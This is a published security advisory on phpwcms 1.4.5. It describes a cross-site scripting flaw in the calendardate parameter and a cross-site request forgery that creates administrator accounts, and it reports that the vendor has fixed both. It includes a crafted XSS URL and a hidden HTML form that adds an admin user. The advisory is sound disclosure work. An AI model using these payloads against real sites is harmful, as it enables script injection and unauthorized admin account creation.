Multiple Vulnerabilities in phpwcms

Advisory ID:HTB22475
Vendor:Oliver Georgi
Vulnerable Versions:1.4.5 and probably prior
Tested Version:1.4.5
Advisory Publication:July 1, 2010 [without technical details]
Vendor Notification:July 1, 2010
Public Disclosure:July 15, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
Cross-Site Request Forgery [CWE-352]
Risk Level:Medium
CVSSv2 Base Scores:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in phpwcms which could be exploited to perform cross-site scripting and cross-site request forgery attacks.

1) Cross-site scripting (XSS) vulnerability in phpwcms
The vulnerability exists due to input sanitation error in the "calendardate" cookie in phpwcms.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
http://host/phpwcms.php?do=modules&module=calendar&calendardate=8-2010%22+on mouseover=alert%2834%29+ style=position:absolute;width:100%;height:100%;left:0;top:0;+%22

2) Cross-site request forgery (CSRF) in phpwcms
The vulnerability exists due to insufficient validation of the request origin in phpwcms.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and create administrative account.
Exploitation example:
<form action="http://host/phpwcms.php?do=admin&s=1" name="m" method="POST">
<input type="hidden" name="form_newloginname" value="aaa">
<input type="hidden" name="form_newpassword" value="aaa">
<input type="hidden" name="form_newemail" value="">
<input type="hidden" name="form_newrealname" value="">
<input type="hidden" name="form_feuser" value="2">
<input type="hidden" name="form_active" value="1">
<input type="hidden" name="verification_email" value="1">
<input type="hidden" name="form_aktion" value="create_account">
<input type="hidden" name="Submit" value="send+user+data">

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[1] High-Tech Bridge Advisory HTB22475 - - Multiple Vulnerabilities in phpwcms
[2] phpwcms - - phpwcms is a very flexible, fast, robust, customer and developer friendly but yet powerful web based content management system and cms framework
[3] Common Weakness Enumeration (CWE) - - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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